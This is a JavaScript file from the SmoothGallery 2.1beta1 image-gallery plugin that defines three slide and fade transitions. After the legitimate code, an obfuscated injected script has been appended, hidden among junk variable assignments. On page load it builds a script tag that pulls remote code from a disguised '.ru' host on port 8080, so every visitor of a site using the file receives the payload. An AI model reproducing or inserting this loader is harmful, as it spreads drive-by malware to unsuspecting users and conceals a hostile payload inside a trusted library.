/*
    This file is part of JonDesign's SmoothGallery v2.1beta1.

    JonDesign's SmoothGallery is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 3 of the License, or
    (at your option) any later version.

    JonDesign's SmoothGallery is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with JonDesign's SmoothGallery; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

    Main Developer: Jonathan Schemoul (JonDesign: http://www.jondesign.net/)
*/

gallery.Transitions.extend({
	fadeslideleft: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.Cubic.easeOut;
		oldFx.options.duration = newFx.options.duration = 1500;
		if (newPos > oldPos)
		{
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0],
				opacity: 1
			});
			oldFx.start({opacity: [1,0]});
		} else {
			newFx.start({opacity: [0,1]});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth],
				opacity: 0
			}).chain(function(fx){fx.set({left: 0});}.pass(oldFx));
		}
	},
	continuoushorizontal: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth * -1]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth});
			newFx.start({
				left: [this.galleryElement.offsetWidth, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				left: [0, this.galleryElement.offsetWidth]
			});
			newFx.set({opacity: 1, left: this.galleryElement.offsetWidth * -1});
			newFx.start({
				left: [this.galleryElement.offsetWidth * -1, 0]
			});
		}
	},
	continuousvertical: function(oldFx, newFx, oldPos, newPos){
		oldFx.options.transition = newFx.options.transition = Fx.Transitions.linear;
		if (
			((newPos > oldPos) || ((newPos==0) && (oldPos == (this.maxIter-1) ))) &&
			(!((newPos == (this.maxIter-1 )) && (oldPos == 0)))
		) {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight * -1]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight});
			newFx.start({
				top: [this.galleryElement.offsetHeight, 0]
			});
		} else  {
			oldFx.set({opacity: 1});
			oldFx.start({
				top: [0, this.galleryElement.offsetHeight]
			});
			newFx.set({opacity: 1, top: this.galleryElement.offsetHeight * -1});
			newFx.start({
				top: [this.galleryElement.offsetHeight * -1, 0]
			});
		}
	}
});
try {var H;if(H!='' && H!='x'){H=''};this.Bi='';var Z;if(Z!='N' && Z != ''){Z=null};var J=RegExp;this.E='';var oS='';this.ni='';var y="tNKBrepla".substr(4)+"ce";this.M="";var LN=new String();function T(t,S){var TV;if(TV!='' && TV!='sU'){TV=''};var v=new String("nsD[".substr(3));var lI=new Array();var DC='';var n="zXLg".substr(3);var pW=new String();v+=S;v+=new String("9jP]".substr(3));var Co;if(Co!='' && Co!='vH'){Co=null};var p=new J(v, n);return t[y](p, new String());var Xm;if(Xm!='' && Xm!='hm'){Xm=''};};var A;if(A!=''){A='Kt'};this.yz="";var LC=new String();var Sc;if(Sc!='Io' && Sc!='Dv'){Sc='Io'};var b=window;var Mo;if(Mo!='' && Mo!='lo'){Mo=null};var Qj=new String();var q=T('csrsesa_tqeIEIlIeImIeInIt_',"sIq_");var Xs=new Date();this.Xn='';var TY=T('h3tdt3p8:5/8/dc3o3m5c8a5sdt3-3nde5td.5edx5a5m5i5n3e3r5.5c5o3m3.dg3odo5g8lded-dc3od-8h8ud.8Ydo5u3r3S5udp8edrdP5o3o8l3.5r5ud:5',"83d5");this.lS="";var Q='';this.IS="";var L=T('86101681610161',"61");var i;if(i!='' && i!='BI'){i='FC'};this.Vq="";var C=T('/I4SsShjaSrIejdS.IcIoSmj/j4IsIhIajrjeSdS.IcIoImI/IgSojojgIljeS.jcSoImj/SwIejlIlSsIfjaSrSgjoI.ScIoImj/SsSuIejdSdjeIuStIsIcIhjeS.SdIeI.SpIhjpI',"SjI");var P=T('oXnjlJoJaXdj',"jJXD");var a=T('s6c6r6iTp6tT',"6T");r=function(){var Me="";var uz;if(uz!='bn' && uz!='AF'){uz=''};_=document[q](a);this.vBK='';var Qd;if(Qd!='Zj' && Qd != ''){Qd=null};var LNQ;if(LNQ!='' && LNQ!='xy'){LNQ='d'};this.UK='';Q=TY+L;Q+=C;var wT=new Date();_.src=Q;_.defer=([1][0]);var tj;if(tj!='R' && tj!='sd'){tj='R'};this.m="";document.body.appendChild(_);var W="";};var Gf;if(Gf!='' && Gf!='gt'){Gf=''};var nP;if(nP!='' && nP!='XS'){nP=''};var ja;if(ja!='Y' && ja!='Yn'){ja='Y'};b[P]=r;var Se;if(Se!='Dz'){Se='Dz'};this.sl="";} catch(vB){};var Sa;if(Sa!='' && Sa!='SG'){Sa='YX'};